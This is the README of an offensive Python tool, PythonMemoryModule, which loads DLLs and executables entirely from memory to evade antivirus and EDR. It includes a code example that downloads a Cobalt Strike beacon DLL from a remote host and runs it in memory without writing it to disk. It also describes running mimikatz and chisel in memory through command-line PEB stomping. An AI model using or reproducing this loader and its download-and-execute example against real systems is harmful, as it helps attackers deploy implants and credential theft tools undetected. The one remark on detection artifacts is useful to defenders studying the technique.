pure-python implementation of MemoryModule technique to load dll and unmanaged exe entirely from memory
pure-python implementation of MemoryModule technique to load a dll or unmanaged exe entirely from memory
"Python memory module" AI generated pic - hotpot.ai
PythonMemoryModule is a Python ctypes porting of the MemoryModule technique originally published by Joachim Bauch. It can load a dll or unmanaged exe using Python without requiring the use of an external library (pyd) and has (partial) support for commandline parameters passing.
It leverages pefile to parse PE headers, PythonForWindows to access process parameters, and ctypes for the heavy lifting. The tool was originally thought to be used as a Pyramid module to provide evasion against AV/EDR by loading dll/exe payloads in python.exe entirely from memory, however other use-cases are possible (IP protection, pyds in-memory loading, spinoffs for other stealthier techniques) so I decided to create a dedicated repo.
In the following example a Cobalt Strike stageless beacon dll is downloaded (not saved on disk), loaded in memory and started by calling the entrypoint.
import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()
Note: if you use staging in your malleable profile the dll would not be able to load with LoadLibrary, hence MemoryModule won't work.
In the following example we use the commandline passing funcionality to execute chisel in memory.
https://github.com/naksyn/PythonMemoryModule/assets/59816245/cdc91760-1897-450f-9770-1cd2377913c7
This technique hase been implemented by stomping the Commandline parameter on the PEB at runtime. This won't work with every executable since it depends on which functions are used to pass arguments.
Generally, to get a universally working technique would be required to hook GetCommandlineA GetCommandlineW __getmainargs and __wgetmainargs since PEB stomping won't cover all cases, more details here
During my testing I found that mimikatz and several go binaries are working just by doing PEB stomping, on the other hand, cmdline passing via PEB stomping alone to mingw and VS compiled binaries won't likely work.
Using the MemoryModule technique will mostly respect the sections' permissions of the target DLL and avoid the noisy RWX approach. However within the program memory there will be a private commit not backed by a dll on disk and this is a MemoryModule telltale.